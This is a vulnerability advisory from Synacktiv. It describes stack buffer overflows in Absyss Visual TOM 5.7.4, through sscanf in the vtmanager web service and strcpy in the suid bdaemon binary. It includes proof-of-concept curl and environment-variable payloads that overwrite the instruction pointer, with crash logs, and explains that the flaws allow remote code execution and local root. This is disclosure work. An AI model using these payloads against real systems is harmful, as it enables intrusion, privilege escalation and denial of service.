

Multiple buffer overflow in Visual TOM by Absyss



Julien Egloff Florian Guilbert

www.synacktiv.com

5 rue Sextius Michel 75015 Paris

Overview

Visual TOM product

First solution of the *Visual IT Operations* software suite, *Visual TOM* industrialises IT production, whatever the volume and/or complexity of inter-application workflows and jobs, the nature of applications and technical architecture: centralized, distributed or mixed.

http://www.absyss.com/index.php/products/visual-tom

The *Visual TOM* product consists of two components: the *vtmanager* service and the *bdaemon* binary. The *vtmanager* service exposes a web server on the TCP port 30000 by default. The *bdaemon* also exposes a service on a random port.

Discovered vulnerability

The vulnerability described here have been identified during penetration testing assessment for a client.

Affected versions

Synacktiv experts only had access to the following versions of the Visual TOM binaries:

- bdaemon: 5.7.4
- vtmanager: 5.7.4

Timeline

Date	Action
2018-07-17	Advisory sent to the editor.
2018-08-07	Editor acknowledged vulnerability and said version 5 is not supported anymore and version 6 is not vulnerable.



Multiple buffer overflows

Initial vulnerability discovery

VTMANAGER

When reversing the Linux vtmanager binary, multiple buffer overflows were identified:

- At offset 0x40B0BA: bad use of sscanf function;
- At offset 0x40B986: bad use of sscanf function;
- At offset 0x40B703: bad use of sscanf function.

```
237
       else if (y_6 == 1)
                                                      11 GET
 238
239
         v103 = 0;
0 240
         memset(&s, 0, 0xFFuLL);
241
         v101 = 0:
         memset(&v102, 0, 0xFFuLL);
242
243
         v105 = 0:
         v106 = 0;
244
245
        if ( sscanf((const char *)v5[1], "/api/packages/%[^/]/%[^/]/description%n%1s", &v103, &v101, &v105, &v106) == 2
 246
           88
              V105 )
 247
         Ł
248
           v10 = sub_4085F4(a1, (__int64)&v103, (__int64)&v101);
if ( v10 )
           sub_4060BC();
249
250
 251
           ł
             v11 = sub_583B8A(a2, (__int64)"Accept");
• 252
```

Illustration 1: Buffer overflow with the sscanf function in the Linux binary, v5 is user-controlled.

The format string used does not limit the number of characters that will be stored. In the previous screenshot, the *sscanf* function will store all the characters that are between *packages*/ and the next slash, allowing to overflow on the stack.

Furthermore, a proof of concept has been developed:

\$ BLOB_A=\$(python -c 'print "A" * 334') curl http://localhost:30000/api/packages/\$BLOB_A%ef
%be%ad%de
curl: (52) Empty reply from server

The output of the service is the following one:

```
# TOM USER ADMIN=synacktiv TOM HOME=/home/synacktiv ./vtmanager
11:36:05 10-07-2018
11:36:05 10-07-2018
                      VTMANAGER : 5.7.4 j FR LINUX X64 2016/10/07 Visual Tom (c) Absyss
11:36:05 10-07-2018
11:36:05 10-07-2018
                      Use vtmanager directory: /home/synacktiv/manager
11:36:05 10-07-2018
                      Use vtmanager bin directory: /home/synacktiv/manager/bin
11:36:05 10-07-2018 | Use vtmanager repository directory:
/home/synacktiv/manager/repository
11:36:05 10-07-2018
                     Use vtmanager work directory: /home/synacktiv/manager/work
11:36:05 10-07-2018
                    Use vtmanager backup directory: /home/synacktiv/manager/backup
11:36:05 10-07-2018
                      - initializing scheduler ...
11:36:05 10-07-2018
                     Vtmanager started
11:36:07 10-07-2018 | - vtmanager server is ready and listening on port 30000
Segmentation fault
# dmesg | tail
[...]
[31183.468694] vtmanager[22639]: segfault at deadbeef ip 0000000deadbeef sp
00007f1a5a92bca0 error 14
```

The address *deadbeef* corresponds to the *%ef%be%ad%de* part of the payload in the *curl* command and confirms that the execution flow can be controlled.



The Windows version of this service is also vulnerable:

- At offset 0x40589E: bad use of sscanf function;
- At offset 0x4058ED: bad use of sscanf function;
- At offset 0x4059CD: bad use of sscanf function;
- At offset 0x405A63: bad use of sscanf function.

The *Windows* service binary is compiled with *stack canaries*. Therefore, it is unlikely this vulnerability can be exploited on this version without finding a memory leak primitive first. The *Linux* binary is compiled without *stack canaries*.

BDAEMON

The *bdaemon* binary (which has the *suid* bit) uses the unsafe function *strcpy* on user-controlled data into stack buffers of fixed size. Multiple buffer overflows were thus identified:

- At offset 0x4155AF: bad use of strcpy;
- At offset 0x4044D2: bad use of strcpy;
- At offset 0x41F1EC: bad use of strcpy;
- At offset 0x41F37C: bad use of strcpy.

• 69 70	, if (getenv("TOM_REMOTE_SERVER") && *getenv("TOM_REMOTE_SERVER")) {
• 71	v5 = geteny ("TOM_REMOTE_SERVER");
• 72	<pre>strcpy(&dest, v5);</pre>

Illustration 2: Buffer overflow in the function 0x41F1A2 at offset 0x41F37C.

In the last screenshot, the program gets a string from an environment variable that can be of arbitrary size, this the string then copied onto a stack buffer without any prior size check. A proof of concept has been developed:

```
$ ABM=/tmp/syn ABM_LOGS=/tmp/syn TOM_REMOTE_SERVER=`perl -e 'print "A" x 280 . "\xef\xbe\
xad\xde"'` ./bdaemon
log_path : /tmp/syn/
abm_path : /tmp/syn/
Segmentation fault
$ sudo dmesg | tail
[sudo] password for synacktiv:
[...]
[39624.346521] bdaemon[22885]: segfault at deadbeef ip 0000000deadbeef sp 00007fff62b582b0
error 14 in libresolv-2.24.so[7f178309a000+14000]
```

Impact

The different proof of concept demonstrates that it is possible to control the execution flow of the bdaemon and vtmanager.

Since the *bdaemon* requires *root* privileges and has the *suid* bit set, a local user could gain *root* privileges by exploiting this vulnerability.

The *vtmanager* service also runs with high privileges and the buffer overflow can be triggered remotely, as long as the service can be reached over the network. An attacker could gain code execution in the administrator context.

Furthermore, denial of service (DOS) attacks are possible on the *vtmanager* by crashing the server as demonstrated on the proof of concept.

